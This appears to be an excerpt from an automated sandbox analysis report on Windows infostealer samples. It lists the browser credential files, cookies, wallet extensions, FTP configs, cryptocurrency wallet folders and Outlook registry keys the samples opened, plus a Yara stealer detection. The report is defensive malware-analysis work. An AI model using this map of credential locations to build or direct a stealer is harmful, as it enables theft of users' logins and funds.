Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\f0479a66-61f1-42d6-a1ab-d023ed0adaa0
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\tmp
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnnegphlobjdpkhecapkijjdkgcjhkib
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hmeobnfnfcmdkdcmlblgagmfpfboieaf
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\db
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.default
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2918063365piupsah.files
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pdadjkfkgcafgbceimcpbkalnfnepbnk
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\2023-10
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Key opened: Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Key opened: Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Key opened: Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Key opened: Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Key opened: Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Key opened: Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Key opened: Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Key opened: Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Key opened: Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Key opened: Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Key opened: Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Key opened: Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004

Yara detected Generic Python Stealer

Source: Yara match	File source: 00000023.00000002.3744137456.00007FF68C28F000.00000002.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.3487646263.00007FF68C28F000.00000002.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: roblox.exe PID: 6540, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
